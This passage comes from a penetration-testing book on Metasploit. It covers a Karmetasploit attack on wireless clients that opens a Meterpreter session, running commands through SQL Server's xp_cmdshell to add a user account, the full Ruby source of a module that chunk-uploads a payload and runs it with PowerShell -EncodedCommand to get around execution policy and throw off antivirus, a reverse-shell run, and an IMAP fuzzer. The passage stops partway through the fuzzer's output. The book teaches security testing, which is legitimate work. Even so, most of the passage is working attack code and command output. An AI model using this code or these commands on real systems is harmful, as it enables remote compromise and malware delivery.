[*] HTTP 10.0.0.100 attempted to download an ActiveX control
[*] HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80
POST objectsocget.dll Windows IE
6.0 cookies=WT_FPC=id=111.222.333.444-1008969152.
30063513:lv=1267703430218:ss=126770
3362203; MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=d2
3f&LV=20103&V=3;A=I&I=
AxUFAAAAAAAuBwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C86418EBC913CE45C4326AE
[*] HTTP 10.0.0.100 attempted to download an ActiveX control

[*] Sending Internet Explorer COM CreateObject Code Execution
exploit HTML to 10.0.0.100:1371...
[*] HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST
objectsocget.dll Windows IE
6.0 cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:lv=1267703430218:ss=
1267703362203; MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&
HASH=d23f&LV=20103&V=3;A=I&I=
AxUFAAAAAAAuBwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C86418EBC913CE45C4326AE
[*] HTTP 10.0.0.100 attempted to download an ActiveX control
[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80
POST isapiocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:lv
=1267703430218:ss=1267703362203;
MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=d23f&
LV=20103&V=3; A=I&I=AxUFAAAAAAAu
BwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C86418EBC913CE45C4326AE

. . . SNIP . . .

[*] HTTP 10.0.0.100 attempted to download an ActiveX control
[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80
POST isapiocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.300
63513:lv=1267703430218:ss=1267703362203;
MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=d23f&
LV=20103&V=3; A=I&I=AxUFAAAAAAAu
BwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C86418EBC913CE45C4326AE
[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80
POST isapiocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.30063
513:lv=1267703430218:ss=1267703362203;
MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=d23f&
LV=20103&V=3; A=I&I=AxUFAAAAAAAu
BwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C86418EBC913CE45C4326AE
[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80
POST isapiocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:
lv=1267703430218:ss=1267703362203;
MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=d23f&
LV=20103&V=3; A=I&I=AxUFAAAAAAAu
BwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C86418EBC913CE45C4326AE
[*] Sending EXE payload to 10.0.0.100:1371...
[*] Sending stage (748032 bytes) to 10.0.0.100
[*] Meterpreter session 1 opened (10.0.0.1:3333 -> 10.0.0.100:1438)

In this output, you can see at that Metasploit first lets the client know that various popular websites are in fact located on the attacking machine. Then, at , it uses JavaScript to determine the target’s operating system and browser, and responds at with exploits based on that fingerprint. At the client is presented with a malicious ActiveX control, resulting in the familiar yellow prompt bar in Internet Explorer, shown at the top of Figure 12-1. You can also see buried in the output at that an exploit was launched against the client. After a brief period, you see at that the exploit was successful and a Meterpreter session has been opened on the target PC!

Returning to msfconsole, we can interact with the session that was created and check to see what permissions we have obtained on the target. Remember, when you exploit a browser it’s always a good idea to migrate your process out of the web browser in case it gets closed.

meterpreter > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: V-XP-SP2-BARE
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
meterpreter > getuid
Server username: V-XP-SP2-BARE\Administrator
meterpreter > run migrate -f
[*] Current server process: jEFiwxBKyjoHGijtP.exe (3448)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 2232
[*] New server process: notepad.exe (2232)
meterpreter > screenshot
Screenshot saved to: optmetasploit3/msf3/rkGrMLPa.jpeg
meterpreter >

Because this is a default installation of Windows XP SP2 with the very insecure Internet Explorer 6 installed (both of which are highly out of date), the client didn’t even need to accept and install the malicious ActiveX control.

Wrapping Up

Attacks against wireless networks have been a popular topic for quite some time. Although this attack can take a bit of setup, imagine its success against a number of similarly configured clients located in a high-traffic or public area. This approach to attacking wireless clients is often popular because it’s easier than a brute force attack against a well-secured wireless infrastructure.

Now that you’ve seen how easy it is to conduct this sort of attack, you’ll probably think twice about using public wireless networks. Are you sure that the coffee shop is offering “free public Wi-Fi”? Or perhaps someone is running Karmetasploit?

Chapter 13. Building Your Own Module

Building your own Metasploit module is relatively simple, as long as you have some programming experience and an idea of what you want to build. Because Metasploit is primarily Ruby-based, we’ll be working in the Ruby programming language in this chapter. If you aren’t a Ruby ninja yet, but you have some exposure to the language, don’t fret; continue to practice and learn. It’s fairly easy to learn Ruby as you go. If you find yourself struggling with the concepts in this chapter, skip it for now, try to build up your Ruby knowledge, and revisit the chapter.

In this chapter, we’ll write a module called mssql_powershell to harness a technique released at the Defcon 18 Hacking Conference by Josh Kelley (winfang) and David Kennedy. This module targets Windows platforms with Microsoft’s PowerShell installed (the default on Windows 7).

This module converts a standard MSF binary payload to a hex-blob (a hexadecimal representation of binary data) that can be transmitted to a target system through Microsoft SQL commands. Once this payload is on the target system, a PowerShell script is used to convert the hexadecimal data back to a binary executable, execute it, and deliver a shell to the attacker. This module is already in Metasploit and was developed by one of the authors of this book; it’s a great lesson on how to build your own modules.

The ability to convert a binary to hexadecimal, transmit it via MS SQL, and convert it back to binary is an excellent example of how powerful the Metasploit Framework can be. As you’re performing penetration tests, you will encounter many unfamiliar scenarios or situations; your ability to create or modify modules and exploits on the fly will give you that needed edge. As you begin to understand the Framework, you’ll be able to write these types of modules in a relatively short amount of time.

Getting Command Execution on Microsoft SQL

As mentioned in Chapter 6, most system administrators set the sa (system administrator) account password to something weak, not realizing the impact of this simple mistake. The sa account is installed by default with the SQL role of sysadmin, and when you’re performing penetration tests, you can almost guarantee that a weak or blank sa account will exist on Microsoft SQL Server instances. We will use the MS SQL instance that you built in Appendix A to exploit a situation with our module. As discussed in Chapter 6, you initially scan the system with the Metasploit auxiliary modules and brute force the weak sa account.

Once you have brute forced the sa account, you can insert, drop, create, and perform most other tasks you would normally use in MS SQL. This includes calling an extended administrative-level stored procedure called xp_cmdshell, as discussed in Chapter 6. This stored procedure lets you execute underlying operating system commands under the same security context used by the SQL Server service (for example, Local System).

Note

MS SQL installs with this stored procedure disabled in SQL Server 2005 and 2008, but you can re-enable it using SQL commands if you have the sysadmin role within MS SQL. For example, you could use SELECT loginname FROM master..syslogins WHERE sysadmin=1 to view all users with this level of access and then become one of those users. If you have the sysadmin role, you’re almost guaranteed a full-system compromise.

The following listing demonstrates how to run basic commands through Metasploit’s MS SQL modules:

use msf > use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute
PASSWORD no The password for the
specified username
RHOST yes The target address
RPORT 1433 yes The target port
USERNAME sa no
The username to authenticate as

msf auxiliary(mssql_exec) > set RHOST 172.16.32.136
RHOST => 172.16.32.136
msf auxiliary(mssql_exec) > set CMD net user metasploit p@55w0rd /ADD
CMD => net user metasploit p@55w0rd /ADD
msf auxiliary(mssql_exec) > exploit

[*] SQL Query: EXEC master..xp_cmdshell 'net user metasploit p@55w0rd /ADD'

output
------
The command completed successfully.

[*] Auxiliary module execution completed
msf auxiliary(mssql_exec) >

In this example, we first select the mssql_exec auxiliary module at , which calls the xp_cmdshell stored procedure to execute commands. Next, we view the module’s options at and set our target at and the command to execute on the target at . Finally, we run the exploit with exploit, and you can see at that the exploit is successful. We’ve added a user to the system using the xp_cmdshell stored procedure. (At this point we could enter net localgroup administrators metasploit /ADD to add the user to the local administrators group on the compromised system.)

You can think of the mssql_exec module as a command prompt accessible via MS SQL.

Exploring an Existing Metasploit Module

Now we’ll examine what is actually occurring “under the hood” of the module we just worked with, mssql_exec. This allows us to get a feel for how existing code is operating before we write our own. Let’s open the module with a text editor to see how it operates:

root@bt:/opt/framework3/msf3# nano modules/auxiliary/admin/mssql/mssql_exec.rb

The following lines excerpted from the module yield a few important things worthy of note:

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::MSSQL

def run
mssql_xpcmdshell(datastore['CMD'], true)
if mssql_login_datastore
end

The first line at tells us that this module will include all functionality from Metasploit’s core libraries. Next the class is set at with code that defines this as an auxiliary module that inherits certain characteristics of, for example, scanners, denial-of-service vectors, data retrieval, brute force attacks, and reconnaissance attempts.

The include statement at is probably one of the most important lines, because it pulls in the MS SQL module from the core Metasploit libraries. Essentially, the MS SQL module handles all MS SQL–based communications and anything related to MS SQL. Finally, at it pulls a specific command from the Metasploit datastore.

Let’s examine the MS SQL function in the Metasploit core libraries to get a better understanding of its power. First, open mssql.rb and then mssql_commands.rb with the following commands, each in a different window:

root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb
root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql_commands.rb

Press ctrl-W in Nano to search for mssql_xpcmdshell in mssql.rb, and you should find the definition that tells Metasploit how to use the xp_cmdshell procedure, as shown next:

#
# Execute a system command via xp_cmdshell
#
def mssql_xpcmdshell(cmd,doprint=false,opts={})
force_enable = false
begin
res = mssql_query("EXEC master..xp_cmdshell
'#{cmd}'", false, opts)

This listing defines the SQL query to be run against the server as a call to the xp_cmdshell stored procedure at and a variable that will be replaced with the command line the user requests to be executed at . For instance, an attempt to add a user to the system would execute within MS SQL as EXEC master..xp_cmdshell 'net user metasploit p@55w0rd! /ADD' by setting the cmd variable to 'net user metasploit p@55w0rd! /ADD'.

Now turn your attention to the mssql_commands.rb, where the commands to enable the xp_cmdshell procedure live:

# Re-enable the xp_cmdshell stored procedure in 2005 and 2008
def mssql_xpcmdshell_enable(opts={});
"exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec
master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"

Here you can see the sequence of commands issued to re-enable the xp_cmdshell stored procedure in MS SQL Server 2005 and 2008.

Now that you understand the functions we will be using in creating our own module, let’s get started.

Creating a New Module

Suppose you’re working on a penetration test and you encounter a system running SQL Server 2008 and Microsoft Server 2008 R2. Because Microsoft removed debug.exe on Windows 7 x64 and Windows Server 2008, these systems won’t allow you to convert executables in a traditional way as defined in Chapter 11. That means you need to create a new module that will allow you to attack a Microsoft Server 2008 and SQL Server 2008 instance successfully.

We’ll make certain assumptions for purposes of this scenario. First, you’ve already guessed that the SQL Server password is blank, and you have gained access to the xp_cmdshell stored procedure. You need to deliver a Meterpreter payload onto the system, but all ports other than 1433 are closed. You don’t know whether a physical firewall is in place or if the Windows-based firewall is in use, but you don’t want to modify the port list or turn off the firewall because that might raise suspicion.

PowerShell

Windows PowerShell is our only viable option here. PowerShell is a comprehensive Windows scripting language that allows you to access the full Microsoft .NET Framework from the command line. PowerShell’s active community works at extending the tool, making it a valuable tool for security professionals because of its versatility and compatibility with .NET. We aren’t specifically going to dive into how PowerShell works and its functions, but you should know that it is a full-fledged programmatic language available to you on newer operating systems.

We’ll create a new module that will use Metasploit to convert the binary code to hexadecimal (or Base64 if desired), and then echo it onto the underlying operating system. Then we’ll use PowerShell to convert the executable back to a binary that you can execute.

To begin, we create a boilerplate by copying the mssql_payload exploit as follows:

root@bt:/opt/framework3/msf3# cp modules/exploits/windows/mssql/mssql_payload.rb
modules/exploits/windows/mssql/mssql_powershell.rb

Next, we open the mssql_powershell.rb file we just created and modify its code so that it looks just like the following. This is an exploit base shell. Take some time to review the various parameters and remember the topics covered in the previous chapters.

require 'msf/core' # require core libraries

class Metasploit3 < Msf::Exploit::Remote # define this as a remote exploit
Rank = ExcellentRanking # reliable exploit ranking

include Msf::Exploit::Remote::MSSQL # include the mssql.rb library

def initialize(info = {}) # initialize the basic template
super(update_info(info,
'Name' => 'Microsoft SQL Server PowerShell Payload',
'Description' => %q{
This module will deliver our
payload through Microsoft PowerShell
using MSSQL based attack vectors.
},
'Author' => [ 'David Kennedy "ReL1K"
<kennedyd013[at]gmail.com>'],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8771 $',
'References' =>
[
[ 'URL', 'http://www.secmaniac.com' ]
],
'Platform' => 'win', # target only windows
'Targets' =>
[
[ 'Automatic', { } ], # automatic targeting
],
'DefaultTarget' => 0
))
register_options( # register options for the user to pick from
[

OptBool.new('UsePowerShell',[ false, "Use PowerShell as payload delivery
method instead", true]), # default to PowerShell
])
end

def exploit # define our exploit here; it does nothing at this point

handler # call the Metasploit handler
disconnect # after handler disconnect
end
end

Before this exploit will work properly, you’ll need to define some basic settings. Notice that the name, description, licensing, and references are defined at . We also define a platform at (Windows) and a target at (all operating systems). We also define a new parameter called UsePowerShell at for use in the body of the exploit. Lastly, a handler is specified at to handle the connections between the attacker and the exploited target.

Running the Shell Exploit

With the skeleton of the exploit built, we run it through msfconsole to see what options are available:

msf > use windows/mssql/mssql_powershell
msf exploit(mssql_powershell) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
UsePowerShell true no Use PowerShell
as payload delivery method instead

Recall from Chapter 5 that the show options command will display any new options that have been added to an exploit. After we set these options, they will be stored within Metasploit as valid options.

Now we’ll finalize the mssql_powershell.rb file, which we have been editing since the beginning of this chapter, before we edit mssql.rb (which will be explained shortly).

When you examine the exploits in the modules directory inside Metasploit (modules/exploits, modules/auxiliary/, and so on), you’ll notice that most of them have the same overall structure (def exploit as an example). Remember always to comment your code to give other developers an idea of what it’s doing! In the following listing, we first introduce our def exploit line, which defines what we’ll be doing in our exploit. We’ll frame our exploit the same way as the other modules and add a few new sections, as explained next:

def exploit

# if u/n and p/w didn't work throw error
if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end

# Use powershell method for payload delivery
if (datastore['UsePowerShell'])

powershell_upload_exec
(Msf::Util::EXE.to_win32pe(framework,payload.encoded))

end
handler
disconnect
end
end

The module first checks to see if we are logged in at . If we aren’t logged in, the error message "Invalid SQL Server Credentials" is displayed. The UsePowerShell method at is used to call the function powershell_upload_exec , which will automatically create a Metasploit-based payload that we specify during our exploit. After we finally run the exploit, when we specify our payload in msfconsole, it will automatically generate it for us based on the Msf::Util::EXE.to_win32pe(framework,payload.encoded) option.

Creating powershell_upload_exec

Now we’ll open the mssql.rb file that we opened earlier, in preparation for editing. We need to find space for the powershell_upload_exec function.

root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb

In your version of Metasploit, you can do a search for PowerShell, and you should see the referenced code that follows in the mssql.rb file. Feel free to delete this code from the file and start from scratch.

#
# Upload and execute a Windows binary through MS SQL queries and PowerShell
#
def powershell_upload_exec(exe, debug=false)

# hex converter
hex = exe.unpack("H*")[0]
# create random alpha 8 character names
var_payload = rand_text_alpha(8)
print_status("Warning:
This module will leave #{var_payload}.exe in the SQL
Server %TEMP% directory")

At you see that our definition includes the commands exe and debug parameters that are added to the def powershell_upload_exec function. The exe command is the executable we will be sending from our original code Msf::Util::EXE.to_win32pe(framework,payload.encoded), as mentioned previously. The debug command is set to false, which means we will not see debug information. Generally this would be set to true if you wanted to see additional information for troubleshooting.

Next, at we convert the entire encoded executable to raw hexadecimal format. The H in this line simply means “open the file as a binary and place it in a hexadecimal representation.”

At we create a random, alphabetical, eight-character filename. It’s usually best to randomize this name to throw off antivirus software.

And finally, at we tell the attacker that our payload will remain on the operating system, in the SQL Server /Temp directory.

Conversion from Hex to Binary

The following listing shows the conversion from hexadecimal back to binary, written in PowerShell. The code is defined as a string to be called later and uploaded to the target machine.

# Our payload converter grabs a hex file and converts it to binary through PowerShell

h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload
}';$s = [string]::Join('', $s);$s= $s.
Replace('`r',''); $s = $s.Replace(''`n','');$b = new-object byte[] $($s.Length/
2);0..$($b.Length-1) | %{$b[$_] = [Convert]
::ToByte($s.Substring($($_*2),2),16)};
[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"

h2b_unicode=Rex::Text.to_unicode(h2b)

# base64 encoding allows us to perform execution through
powershell without registry changes
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)

print_status("Uploading the payload #{var_payload}, please be patient...")

At we create the hex-to-binary (h2b) conversion method through PowerShell. This code essentially creates a byte array that will write out the hex-based Metasploit payload as a binary file. (The {var_payload} is a random name specified through Metasploit.)

Because MS SQL has character limit restrictions, we need to break our hexadecimal payload into 500-byte chunks that separate the payload into multiple requests. But one side effect of this splitting is that carriage returns and line feeds (CRLF) are added to the file on the target, and these need to be stripped out. At we add better handling of CRLFs by stripping them out properly. If we didn’t do this, our binary would be corrupt and would not execute properly. Notice that we are simply redesignating the $s variable to replace `r and `n with '' (nothing). This effectively removes CRLFs.

Once the CRLFs are stripped out, Convert::ToByte is invoked in the hex-based Metasploit payload. We tell PowerShell that the file’s format is base 16 (hexadecimal format) and to write it out to a file called #{var_payload}.exe (our random payload name). After the payload has been written, we can run a method for executing PowerShell commands in an encoded format that is supported by the PowerShell programming language. These encoded commands allow us to execute lengthy and large amounts of code on one line.

By first converting the h2b string at to Unicode and then Base64 encoding the resultant string at , we can pass the -EncodedCommand flag through PowerShell to bypass execution restrictions that would normally exist. The execution restriction policies do not allow untrusted scripts to be executed. (These restrictions are an important way to protect users from executing just any script they download on the Internet.) If we didn’t encode these commands, we wouldn’t be able to execute our PowerShell code and ultimately wouldn’t be able to compromise the target system. Encoding the commands allow us to add lots of code to one command without worrying about execution restriction policies.

After we specified the h2b string and encoded command flags, we get the PowerShell commands in the correct encoded format so that we can execute our PowerShell code in an unrestricted format.

At , the string was converted to Unicode; this is a requirement to have the arguments and information passed to PowerShell. The h2b_encoded = Rex::Text.encoded_base64(h2b_unicode) is then passed to convert it to a Base64-encoded string to be passed through MS SQL. Base64 is the encoding required to leverage the -EncodedCommand flag. We first converted our string to Unicode, and then to Base64, which is the format we need for all of our PowerShell commands. Finally, at a message stating that we are in the process of uploading the payload is printed to the console.

Counters

Counters help you track your location in a file or keep track of how much data the program has read in. In the next example, a base counter called idx starts at 0. The counter is used to identify the end of the file and move up 500 bytes at a time when the hexadecimal-based binary is being sent to the operating system. Essentially, the counter is saying, “Read 500 bytes, and then send. Read another 500 bytes, and then send,” until it reaches the end of the file.

idx=0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end

print_status("Converting the payload utilizing PowerShell EncodedCommand...")
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end

Recall that to deliver the payload to the target operating system, we need to split it into 500-byte chunks. We use the counters idx and cnt to track how the payload is being split up. The counter idx will gradually increase by 500, and we set the other counter cnt to 500 (we need to read in 500 bytes at a time). After the first 500 bytes have been read from the Metasploit payload at , the 500 hexadecimal characters will be sent to the target machine. The 500-byte chunks continue to be added until the idx counter reaches the same length as the payload, which equals the end of the file.

At we see a message that the payload is being converted and sent to the target using the -EncodedCommand PowerShell command, which is where the conversion is occurring from the normal PowerShell command to a Base64 encoded format (mentioned earlier).

The line "powershell -EncodedCommand #{h2b_encoded}" tells us that the payload has executed. The PowerShell commands that we converted to Base64 will convert the hexadecimal-based payload back to binary after it is executed.

The following shows the entire mssql.rb file:

#
# Upload and execute a Windows binary through MSSQL queries and Powershell
#
def powershell_upload_exec(exe, debug=false)

# hex converter
hex = exe.unpack("H*")[0]
# create random alpha 8 character names
#var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
print_status("Warning: This module will leave #{var_payload}.exe in the SQL
Server %TEMP% directory")
# our payload converter, grabs a hex file and converts
it to binary for us through
powershell
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s
= [string]::Join('', $s);$s
= $s.Replace('`r',''); $s = $s.Replace('`n','');$b
= new-object byte[]$($s
.Length/2);0..$($b.Length-1) | %{$b[$_] =
[Convert]::ToByte($s.Substring
($($_*2),2),16)};[IO.File]::WriteAllBytes
('C:\\Windows\\Temp\\#{var_payload}
.exe',$b)"
h2b_unicode=Rex::Text.to_unicode(h2b)
# base64 encode it, this allows us to perform execution
through powershell without
registry changes
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
print_status("Uploading the payload #{var_payload}, please be patient...")
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe c echo #{hex[idx,cnt]}
>>%TEMP%\#{var_payload}", false)
idx += cnt
end
print_status("Converting the payload utilizing
PowerShell EncodedCommand...")
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
mssql_xpcmdshell("cmd.exe c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end

Running the Exploit

With our work on mssql_powershell.rb and mssql.rb complete, we can run the exploit through Metasploit and msfconsole. But before we do, we need to make sure that PowerShell is installed. Then we can run the following commands to execute our newly created exploit:

msf > use windows/mssql/mssql_powershell
msf exploit(mssql_powershell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mssql_powershell) > set LHOST 172.16.32.129
LHOST => 172.16.32.129
msf exploit(mssql_powershell) > set RHOST 172.16.32.136
RHOST => 172.16.32.136
msf exploit(mssql_powershell) > exploit

[*] Started reverse handler on 172.16.32.129:4444
[*] Warning: This module will leave CztBAnfG.exe in the SQL Server %TEMP% directory
[*] Uploading the payload CztBAnfG, please be patient...
[*] Converting the payload utilizing PowerShell EncodedCommand...
[*] Executing the payload...
[*] Sending stage (748032 bytes) to 172.16.32.136
[*] Be sure to cleanup CztBAnfG.exe...
[*] Meterpreter session 1 opened (172.16.32.129:4444 ->
172.16.32.136:49164) at 2010-05-17
16:12:19 −0400

meterpreter >

The Power of Code Reuse

This process of leveraging existing code, tweaking it, and adding in some original code is one of the most powerful things we can do with Metasploit. You have no reason to start from scratch in most situations after you have a feel for the Framework and you take a look at how existing code works. Because this module was essentially built for you, you can get more practice by going through other Metasploit modules and seeing what they are doing and how they work. You’ll start to learn the basics of buffer overflows and how they are created. Notice how the code is structured and how it works, and then create your own exploits from scratch. If you’re not familiar with the Ruby programming language or if this chapter was a bit over your head, pick up a book and read and learn. The best way to learn how to create these types of module development is through trial and error.

Chapter 14. Creating Your Own Exploits

As a penetration tester, you will frequently encounter applications for which no Metasploit modules are available. In such situations, you can attempt to uncover vulnerabilities in the application and develop your own exploits for them.

One of the easiest ways to discover a vulnerability is to fuzz the application. Fuzz testing is the act of sending invalid, unexpected, or malformed random data to an application and monitoring it for exceptions such as crashes. If a vulnerability is found, you can work to develop an exploit for it. Fuzzing is a vast topic and entire books have been written on the subject. We will only briefly scratch the surface of fuzzing prior to moving on and developing a working exploit module.

In this chapter we’ll walk you though the process of identifying a vulnerability via fuzzing and exploit development, using the known vulnerability in NetWin SurgeMail 3.8k4-4, discovered by Matteo Memelli (ryujin) and available at http://www.exploit-db.com/exploits/5259/. This application had a vulnerability that made it improperly handle overly long LIST commands, resulting in a stack overflow that let an attacker execute code remotely.

Note

This chapter assumes that you are familiar with exploit development and comfortable with the concept of buffer overflows and the use of a debugger. If you need a bit of a refresher, you’ll find some excellent tutorials by corelanc0d3r on the Exploit Database site, http://www.exploit-db.com/. At a minimum, consider reading “Exploit Writing Tutorial Part 1: Stack Based Overflows”(http://www.exploit-db.com/download_pdf/13535/) and “Exploit Writing Tutorial Part 3: SEH” (http://www.exploit-db.com/download_pdf/13537/).

The Art of Fuzzing

Before you develop any exploit, you need to determine whether a vulnerability exists in the application. This is where fuzzing comes into play.

The following listing shows the code for a simple Internet Message Access Protocol (IMAP) fuzzer. Save this to your root.msf3/modules/auxiliary/fuzzers/ directory, but be sure to keep your testing modules in a folder separate from the main Metasploit trunk.

require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Imap
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'Simple IMAP Fuzzer',
'Description' => %q{
An example of how to
build a simple IMAP fuzzer.
Account IMAP
credentials are required in this
fuzzer.},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $'
)
end
def fuzz_str()
return Rex::Text.rand_text_alphanumeric(rand(1024))
end
def run()
srand(0)
while (true)
connected = connect_login()
if not connected
print_status(
"Host is not responding - this is G00D ;)")
break
end
print_status("Generating fuzzed data...")
fuzzed = fuzz_str()
print_status("Sending fuzzed data,
buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
print_status(req)
res = raw_send_recv(req)
if !res.nil?
print_status(res)
else
print_status("Server crashed, no response")
break
end
disconnect()
end
end
end

The fuzzer module begins by importing the IMAP and denial-of-service mixins. Including IMAP gives you the required login functionality, and since the goal of the fuzzer is to crash the server, this module results in a denial of service.

At the fuzz string (the malformed data we want to send) is set as a randomized string of alphanumeric characters with a maximum length of 1024 bytes. The fuzzer connects and logs into the remote service at , and if it fails to connect and the loop breaks, you have something worth investigating. The lack of response by the server might mean that you’ve successfully caused an exception in the remote service.

At the variable fuzzed is set to the random string generated by the Framework, and the malicious request is built according to the published exploit code by appending the malicious data to the vulnerable LIST command. If the fuzzer doesn’t receive a response from the server, it prints the message "Server crashed, no response" and quits.

To test your new fuzzer, start up msfconsole, load the module, and set its options as follows:

msf > use auxiliary/fuzzers/imap_fuzz
msf auxiliary(imap_fuzz) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
IMAPPASS no The password for the specified username
IMAPUSER no The username to authenticate as
RHOST yes The target address
RPORT 143 yes The target port

msf auxiliary(imap_fuzz) > set IMAPPASS test
IMAPPASS => test
msf auxiliary(imap_fuzz) > set IMAPUSER test
IMAPUSER => test
msf auxiliary(imap_fuzz) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf auxiliary(imap_fuzz) >

The fuzzer should now be ready to go. Make sure that your debugger of choice (we’re using the Immunity Debugger in our examples) is attached to the surgemail.exe process, and start the fuzzer:

msf auxiliary(imap_fuzz) > run

[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 684

[*] 0002 LIST () "/v1AD7DnJTVykXGYYM6BmnXuYRlZNIJUzQzFPvA
SjYxzdTTOngBJ5gfK0XjLy3ciAAk1Fmo0
RPEpq6f4BBnp5jm3LuSbAOj1M5qULEGEv0DMk0oOPUj6XPN1VwxFpjAf
FeAxykiwdDiqNwnVJAKyr6X7C5ije7
DSujURybOp6BkKWroLCzQg2AmTuqz48oNeY9CDeirNwoITfIaC40
Ds9OgEDtL8WN5tL4QYdVuZQ85219Thogk7
75GVfNH4YPpSo2PLmvd5Bf2sY9YDSvDqMmjW9FXrgLoUK2rl9cvoCbTZ
X1zuU1dDjnJJpXDuaysDfJKbtHn9Vh
siiYhFokALiF1QI9BRwj4bo0kwZDn8jyedxhSRdU9CFlMs19CvbVnnL
WeRGHScrTxpduVJZygbJcrRp6AWQqke
Y0DzI4bd7uXgTIHXN6R403ALckZgqOWcUSEWj6THI9NFAIPP1LEnctaK
0uxbzjpS1ize16r388StXBGq1we7Qa
8j6xqJsN5GmnIN4HQ4W4PZIjGRHUZC8Q4ytXYEksxXe2ZUhl5Xbdhz13
zW2HpxJ2AT4kRU1wDqBUkEQwvKtoeb
rfUGJ8bvjTMSxKihrDMk6BxAnY6kjFGDi5o8hcEag4tzJ1FhH9eI2UHD
VbsDmUHTfAFbreJTHVlcIruAozmZKz
i7XgTaOgzGh" "PWNED"

[*] 0002 OK LIST completed

. . . SNIP . . .

[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*] 0002 LIST () "/FzwJjIcL16vW4PXDPpJbpsHB4p7Xts9fbaJYjRJASXR
qbZnOMzprZfVZH7BYvcHuwlN0Yq
yfoCrJyobzOqoscJeTeRgrDQKA8MDDLbmY6WCQ6XQH9Wkj4c9JCfPjIq
TndsocWBz1xLMX1VdsutJEtnceHvhl
Gqee6Djh7v3oJW4tXJMMxe8uR2NgBlKoCbH18VTR8GUFqWCmQ097
0B3gR9foi6inKdWdcE6ivbOHElAiYkFYzZ
06Q5dvza58DVhn8sqSnRAmq1UlcUGuvr6r99POlrZst10r606J2B03TBGDFuy
0dNMI0EUANKZ6OnCn3Zk1JL65
9MC8PZy0frCiPBqZ4xn0biAjFTH5LsCjIFuI5eZ9LsdXdek7iiOhEmW6
D86mAtyg9S1a7RALrbRcLIHJpwMsEE
5LS1wIV9aFPS6RQwI4DtF4bGSle1FCyf63hy3Vo8AKkId6yu5MfjwfUExand
VeUldk8c5bhlyqoDp3UX2ClQPZ
os0KpFoIcxmq8R0E3Ri54l5Yl3OPcN7U20Kb1CEAfbhxGFgh1oMzjJpuM7
